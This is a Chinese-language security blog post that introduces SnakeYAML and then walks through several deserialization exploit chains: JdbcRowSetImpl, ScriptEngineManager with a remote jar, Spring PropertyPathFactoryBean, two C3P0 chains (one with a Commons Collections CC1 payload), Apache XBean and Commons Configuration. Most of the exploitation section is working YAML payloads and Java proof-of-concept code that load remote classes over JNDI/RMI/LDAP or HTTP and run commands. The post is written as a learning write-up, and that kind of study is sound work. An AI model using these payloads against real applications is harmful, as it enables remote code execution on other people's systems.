SnakeYAML 反序列化


SnakeYAML 反序列化

SnakeYAML 是 java 中解析 yaml 的库,支持将 java 对象和 YAML 数据互相转换

YAML 基本语法

YAML 是一种有极高可读性的数据,是一种以数据为中心的语言,任何有效的 JSON 文件都可以被 YAML 解析器识别并处理

  • YAML 是用空格缩进来表示数据的结构
    不能使用 Tab,只允许使用空格

  • 键值对
    键: 值 冒号后面必须跟一个空格

    version: 10.0
  • 列表
    - 开头,后面跟一个空格,每项一行

    person: 
      - marin
      - limbo
  • 纯量
    纯量是基本的不可再分的值

  • 引用

    & 锚点,用来标记要重复使用的数据

    * 别名,用来指向已经定义锚点的数据块

    << 合并键引用,用来将一个键值对的内容合并到另一个键值对中,如果有键名相同的,被合并键值对中的会被覆盖

    person: &person
      name: marin
      age: 18
      job: student
    
    student:
      name: limbo
      total: 1
      class: 2
      <<: *person

    上面那个文件就相当于

    person: &person
      name: marin
      age: 18
      job: student
    
    student:
      name: limbo
      age: 18
      job: student
      total: 1
      class: 2
  • 注释 #

  • 大小写敏感

序列化和反序列化函数

Snakeyaml​ 中提供了 Yaml.dump()​ 和 Yaml.load() 两个函数对 yaml 格式的数据进行序列化和反序列化

  • Yaml.load():传入一个字符串或者一个文件,经过序列化后返回一个 java 对象
  • Yaml.dump():将一个 java 对象转化为 yaml 格式

依赖导入:

<dependency>
    <groupId>org.yaml</groupId>
    <artifactId>snakeyaml</artifactId>
    <version>1.26</version>
</dependency>

示例

用来序列化的 Person 类

public class Person {
    public int age;
    private String name;

    public Person() {
        System.out.println("无参构造方法");
    }

    public Person(String name,int age) {
        this.age = age;
        this.name = name;
        System.out.println("有参构造方法");
    }


    public String getName() {
        System.out.println("getName方法");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName方法");
        this.name = name;
    }
}

测试序列化与反序列化

public class SnakeyamlDemo {
    public static void main(String[] args) {
        Yaml yaml = new Yaml();
        Person marin = new Person("marin",18);
        String str = yaml.dump(marin);
        System.out.println("序列化");
        System.out.println(str);

        Object marin2 = yaml.load(str);
        System.out.println("反序列化");
        System.out.println(marin2);
    }
}

这里 !!com.marin.Person 是来用指定反序列化的类名

SnakeYAML​ 在序列化的时候,如果是 public​ 属性则通过反射获取,非 public​ 但是有 getter​ 方法的属性可以通过 getter 获取,静态属性会被忽略

反序列化也是一样的,会先通过无参构造器创建一个新的实例,然后 public​ 属性则通过反射赋值,非 public​ 但是有 setter​ 方法的属性可以通过 setter 赋值,静态属性会被忽略

image

调用有参构造方法

SnakeYAML 默认是调用无参构造器,但是也可以调用有参构造方法

比如下面的 Yaml 数据,SnakeYAML​ 会测试将序列元素按顺序匹配构造函数的参数,这里就应该会匹配 Ponint(int x,int y)

!!com.example.Point [10, 20]

调用 hashcode

SnakeYaml​ 在处理类的时候,会判断是不是一个 Map 结构,如果是一个 Map 对象时,解析完 key 值之后,就会调用 key 的 hashcode 方法判断 key 值有没有重复

漏洞利用

SnakeYAML​ 反序列化的关键触发点就是无参构造方法和非公有属性的 setter 方法

JdbcRowSetImpl

com.sun.rowset.JdbcRowSetImpl​ 这条利用链是由于 javax.naming.InitialContext#lookup() 方法的参数可控导致的 JNDI 注入

由前文知道,YAML 反序列化的入口类很大概率是无参构造方法或者是 setter 方法

这里跟着网上找到了这个 setAutoCommit​ 的 setter​ 方法,在里面调用了 connect() 方法

image

跟进方法可以看到这里有 lookup​ 方法进行 JNDI 远程调用,参数是 getDataSourceName 方法,继续跟进

image

发现只要将 dataSource 设置成恶意的 JNDI 地址就可以

image

payload

!!com.sun.rowset.JdbcRowSetImpl {
  dataSourceName: 
    rmi://127.0.0.1:1099/EvilClass, 
    autoCommit: true
}

调用链

JdbcRowSetImpl#setAutoCommit()
- JdbcRowSetImpl#connect()
-- JdbcRowSetImpl#lookup()

测试实现

这里本来是想利用 php 反序列化的经验,序列化出来一个 payload,但是好像 java 不能这样,这个数据无法序列化出来

这里运行使用的是 jdk 17 版本,设置了很多安全限制,需要在运行时加一些参数

在下面的运行中修改运行配置

image

在修改选项中要选中 添加虚拟机选项

image

一开始测试的是 JNDI + RMI 注入,这里用到的是 dataSourceName​ 因为只有这个有 setter​ 方法的,如果直接用 dataSource 是不行的

import org.yaml.snakeyaml.Yaml;
import java.sql.SQLException;

public class pocDemo1 {
    public static void main(String[] args) throws SQLException {
        String poc = "!!com.sun.rowset.JdbcRowSetImpl {dataSourceName: rmi://127.0.0.1:1099/EvilClass, autoCommit: true}";
        Yaml yaml = new Yaml();
        yaml.load(poc);
    }
}

运行时要添加选项

--add-opens
java.sql.rowset/com.sun.rowset=ALL-UNNAMED
--add-opens
jdk.naming.rmi/com.sun.jndi.rmi.registry=ALL-UNNAMED
-Dcom.sun.jndi.rmi.object.trustURLCodebase=true
-Dcom.sun.jndi.ldap.object.trustURLCodebase=true

同时还要设置一个设置 RMI 服务的代码

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RmiServer {
    public static void main(String[] args) throws NamingException, RemoteException {
        Reference reference = new Reference("EvilClass", "EvilClass", "http://127.0.0.1:8002/");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        // 将 RMI 服务注册到 1099 端口
        Registry registry = LocateRegistry.createRegistry(1099);
        // 绑定 Reference 对象
        registry.rebind("EvilClass", referenceWrapper);
    }
}

在运行中要添加以下选项

--add-exports jdk.naming.rmi/com.sun.jndi.rmi.registry=ALL-UNNAMED

最后成功弹出计算器

image

  • 如果将版本切换到 8u65 就不需要设置这么多东西(

ScriptEngineManager

这个反序列化漏洞点在于 ScriptEngineManager 类的有参构造方法

这个有参构造方法通过调用底层的 SPI 机制,去查找实现了 ScriptEngineFactory 接口的类并初始化

SPI 机制简要来说就是 JDK 内置的服务发现机制,会在 ClassPath​ 路径下的 META-INF/services 文件夹下查找文件,自动加载文件中定义的类

ScriptEngineFactory​ 就是利用这个机制,去找到 META-INF/services​目录下的 javax.script.ScriptEngineFactory 然后加载文件中执行的类并初始化

image

调用链

ScriptEngineManager#ScriptEngineManager()
- ScriptEngineManager#init()
-- ScriptEngineManager#initEngines()

测试实现

poc

URLClassLoader(URL[] urls)​ 这是 java.net.URLClassLoader 的构造函数,所以要多加一层中括号,将 url 包装成一个数组

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [
    [
      !!java.net.URL [
        "http://127.0.0.1:8002/yaml-payload.jar"
      ]
    ]
  ] 
]

测试类

public class ScriptEngineDemo {
    public static void main(String[] args) {
        String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://127.0.0.1:8002/yaml-payload.jar\"]]]]";
        Yaml yaml = new Yaml();
        yaml.load(poc);
    }
}

为了利用 ScriptEngineManager​ 我们要在远程地址下载一个 jar 文件,jar 文件下的 META-INF/services 要包含被加载的恶意类,我们需要构建一个项目

META-INF/services/javax.script.ScriptEngineFactory 文件中定义要被加载的类名

image

然后创建对应类并且实现 ScriptEngineFactory 接口,在构造方法中命令执行

image

然后要编译目标类

javac Poc.java

然后将项目打包成 jar 包

jar -cvf yaml-payload.jar src/main/java/ .

最后开一个服务,就能开始测试

image

Spring PropertyPathFactoryBean

需要有 Spring 依赖

<dependency>
    <groupId>org.springframework</groupId>
    <artifactId>spring-context</artifactId>
    <version>5.3.30</version>
</dependency>

payload

!!org.springframework.beans.factory.config.PropertyPathFactoryBean
  targetBeanName: ldap://127.0.0.1:8003/EvilClass
  propertyPath: test
  beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory
    shareableResources: [ldap://127.0.0.1:8003/EvilClass]

漏洞点在 PropertyPathFactoryBean​ 类的 setBeanFactory​ 方法中,在这个方法中,发现触发了 getBean 方法,跟进去

image

发现是一个接口,查看实现,发现有一个和 JNDI 有关的类,跟进去

image

继续触发了 doGetSingleton 方法

image

然后一直在跟进 lookup​ 方法,最后是用了一个匿名内部类的方式调用的 lookup 方法

调用链

JndiTemplate$1​ 就是代表一个匿名内部类,他在代码中即时定义和创建,这里就会创建一个内部类来进行 lookup

PropertyPathFactoryBean#setBeanFactory(BeanFactory)
- SimpleJndiBeanFactory#getBean(String)
-- SimpleJndiBeanFactory#getBean(String,Class<T>)
--- SimpleJndiBeanFactory#doGetSingleton(String,Class<T>)
---- JndiLocatorSupport#lookup(String,Class<T>)
----- JndiTemplate#lookup(String,Class<T>)
------ JndiTemplate#lookup(String)
------- JndiTemplate#execute(JndiCallback<T>)
-------- JndiTemplate$1#doInContext(Context)
--------- InitialContext#lookup(String)

测试实现

成功弹计算器了

image

C3P0 WrapperConnectionPoolDataSource

依赖

<dependency>
    <groupId>com.mchange</groupId>
    <artifactId>c3p0</artifactId>
    <version>0.9.5.2</version>
</dependency>

poc

!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource
  userOverridesAsString: HexAsciiSerializedMap: hex 数据

这个漏洞利用的是 WrapperConnectionPoolDataSource 的构造函数

默认调用无参构造器之后就会调用有参的构造器,在有参构造器中会调用 parseUserOverridesAsString 方法

image

这个方法会检查有没有前缀 HexAsciiSerializedMap 如果有的话就会剥离前缀和最后的分号,然后解码数据反序列化,这里就是二次反序列化的地方

image

调用链

WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource()
- WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource(boolean)
-- C3P0ImplUtils#parseUserOverridesAsString(String)
--- ByteUtils#fromHexAscii(String)  # hex 数据解码为字节数组
---- SerializableUtils#fromByteArray(byte[])
----- SerializableUtils#deserializeFromByteArray(byte[]) # 反序列化字节数组

测试实现

因为是二次反序列化,这里要搭配其他的反序列化利用链,这里利用了 CC1 链

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.yaml.snakeyaml.Yaml;
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class Poc {
    public static Map exp() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer(
                        "getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[0]}
                ),
                new InvokerTransformer(
                        "invoke",
                        new Class[]{Object.class,Object[].class},
                        new Object[]{null,new Object[0]}
                ),
                new InvokerTransformer(
                        "exec",
                        new Class[]{String.class},
                        new Object[]{"calc"}
                ),
        };

        Transformer chainedTransformer = new ChainedTransformer(transformers);

        Map map = new HashMap();
        map.put("value","123");
        Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
        Class AIHdl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor AIHdlConstructor = AIHdl.getDeclaredConstructor(Class.class,Map.class);
        AIHdlConstructor.setAccessible(true);
        Object o = AIHdlConstructor.newInstance(Target.class,transformedMap);
        HashMap<Object,Object> hashmap = new  HashMap<>();
        hashmap.put(o,"p");

        return hashmap;
    }

    static void addHexAscii(byte b, StringWriter sw){
        int ub = b & 0xFF;
        int h1 = ub / 16;
        int h2 = ub % 16;
        sw.write(toHexDigit(h1));
        sw.write(toHexDigit(h2));
    }

    private static char toHexDigit(int h) {
        char out;
        if (h <= 9) out = (char)(h + 0x30);
        else out = (char)(h + 0x37);
        return out;
    }

    // 用来序列化数据,将序列化后的字节数组返回
    public static byte[] tobyteArray(Object o) throws IOException {
        ByteArrayOutputStream bao = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bao);
        oos.writeObject(o);
        return bao.toByteArray();
    }
    // 将字节数组编码成 HexAscii 格式的字符串
    public static String toHexAscii(byte[] bytes){
        int len = bytes.length;
        StringWriter sw = new StringWriter(len * 2);
        for (int i = 0; i < len; ++i) {
            addHexAscii(bytes[i], sw);
        }
        return sw.toString();
    }

    public static void main(String[] args) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException, IOException {
        String hex = toHexAscii(tobyteArray(exp()));
        String poc = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" +
                     "  userOverridesAsString: HexAsciiSerializedMap:"+ hex + ";";
        Yaml yaml = new Yaml();
        yaml.load(poc);
    }
}

C3P0 JndiRefForwardingDataSource

这个的分析就相对好找一点,都在一个类中

直接搜索 lookup​ 方法,可以找到就一个 dereference​ 方法实现了,需要的参数是 jndiName

image

找这个方法的用法,只有一个 inner 方法调用了

image

继续找,我们只关注 setter​ 方法,最后测试是 loginTimeout 成功了

image

payload

!!com.mchange.v2.c3p0.JndiRefForwardingDataSource
  jndiName: ldap://127.0.0.1:8003/EvilClass
  loginTimeout: 0

调用链

JndiRefForwardingDataSource#setLoginTimeout(int)
- JndiRefForwardingDataSource#inner()
-- JndiRefForwardingDataSource#dereference()
---  InitialContext#lookup(String)

测试实现

import org.yaml.snakeyaml.Yaml;

public class Poc {
    public static void main(String[] args) {
        String poc = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" +
                "  jndiName: ldap://127.0.0.1:8003/EvilClass\n" +
                "  loginTimeout: 0\n";
        Yaml yaml = new Yaml();
        yaml.load(poc);
    }
}

image

Apache XBean

依赖

<dependency>
    <groupId>org.apache.xbean</groupId>
    <artifactId>xbean-naming</artifactId>
    <version>4.26</version>
</dependency>

这个链的触发条件在构造方法 BadAttributeValueExpException​ 中,这里可以传入一个类,去触发这个类的 toString 方法

image

这里是跟着调用链走的,这个感觉完全看不来(

这里在导入的依赖中有一个类 ContextUtil​,在这个类中有一个内部类 ReadOnlyBinding​ ,继承了 Binding​ 类,所以可以触发这个 toString​ 方法,然后会触发这个 getObject 方法

image

这里会利用这个类的有参构造器,传入这些参数

image

这个方法在内部类中重写了 getObject 方法,并且将里面的参数都传入

image

跟进去 resolve​ 方法,这里将传入的 value​ 转化成一个 Reference​ 对象,然后传入 getObjectInstance 方法

image

getObjectInstance​ 方法会在这里还是在调用这个 Reference​ 的 getObjectFactoryFromReference 方法

image

再跟进去就能发现这里在加载一个类了

image

payload

这里利用的是 JNDI 的 Reference 去远程类加载

!!javax.management.BadAttributeValueExpException [
  !!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding [
    marin,
    !!javax.naming.Reference [marin,EvilClass,http://127.0.0.1:8002/],
    !!org.apache.xbean.naming.context.WritableContext []
  ]
]

调用链

BadAttributeValueExpException#BadAttributeValueExpException(Object)
- Binding#toString
// 这个是内部类的写法,继承了 Binding
-- ContextUtil$ReadOnlyBinding#getObject()
--- ContextUtil#resolve(Object,String,Name,Context)
---- NamingManager#getObjectInstance(Object,Name,Context,Hashtable<?,?>)
----- NamingManager#getObjectFactoryFromReference(Reference,String)
// 这里的 18 是版本特定的类加载器实现
------ VersionHelper18#loadClass(String,String)
------- VersionHelper18#loadClass(String,ClassLoader)
-------- Class#forName(String,boolean,ClassLoader)

测试实现

public class Poc {
    public static void main(String[] args) {
        String poc = "!!javax.management.BadAttributeValueExpException [\n" +
                "  !!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding [\n" +
                "    marin,\n" +
                "    !!javax.naming.Reference [marin,EvilClass,http://127.0.0.1:8002/],\n" +
                "    !!org.apache.xbean.naming.context.WritableContext []\n" +
                "  ]\n" +
                "]";
        Yaml yaml = new Yaml();
        yaml.load(poc);
    }
}

image

Apache Commons Configuration

依赖

<dependency>
    <groupId>commons-configuration</groupId>
    <artifactId>commons-configuration</artifactId>
    <version>1.10</version>
</dependency>

这里要用到的类是 ConfigurationMap​,他有一个父类是 AbstractMap​,这个类实现了一个 hashcode​ 方法,而在 SnakeYaml​ 中,构造 Map 类型的类时,会调用 hashcode 来判断 key 值是否重复

image

这里的 entryset​ 会返回一个内部类 ConfigurationSet​ ,然后触发他的 iterator

image

这里又会返回一个内部类 ConfigurationSetIterator

image

我们可以发现这个类的构造函数调用了 configuration​ 的 getKeys​ 方法,这个 configuration 就是我们传入的数据

image

这后面就是 payload 传入了一个 JNDIConfiguration​ ,看到他的 getKeys 方法

image

这里触发了一个 getBaseContext​ 方法,已经出现 lookup

image

这里要触发 JNDIConfiguration​ 能传入 context​ 的构造方法,传入一个 InitialContext​ 类进去触发 lookup

payload

这里是创建了一个 map 对象,最后的 : 1 就是这个 map 的值

这里必须要用一句话的形式,分多行会无法识别最后的 : 1 报错

!!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [],ldap://127.0.0.1:8003/EvilClass]]: 1

调用链

// 其实调用的是父类的这个方法
ConfigurationMap#hashCode()
- ConfigurationMap#entrySet()
-- ConfigurationMap$ConfigurationSet#iterator()
--- ConfigurationMap$ConfigurationSet$ConfigurationSetIterator#ConfigurationSetIterator()
---- JNDIConfiguration#getKeys()
----- JNDIConfiguration#getKeys(String)
------ JNDIConfiguration#getBaseContext()
------- JNDIConfiguration#getContext()
-------- InitialContext#lookup()

测试实现

public class Poc {
    public static void main(String[] args) {
        String poc = "!!org.apache.commons.configuration.ConfigurationMap [!!org.apache.commons.configuration.JNDIConfiguration [!!javax.naming.InitialContext [],ldap://127.0.0.1:8003/EvilClass]]: 1";
        Yaml yaml = new Yaml();
        yaml.load(poc);
    }
}

就是这里一下会重复 4 次(

image


文章作者: Marin
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Marin !
  目录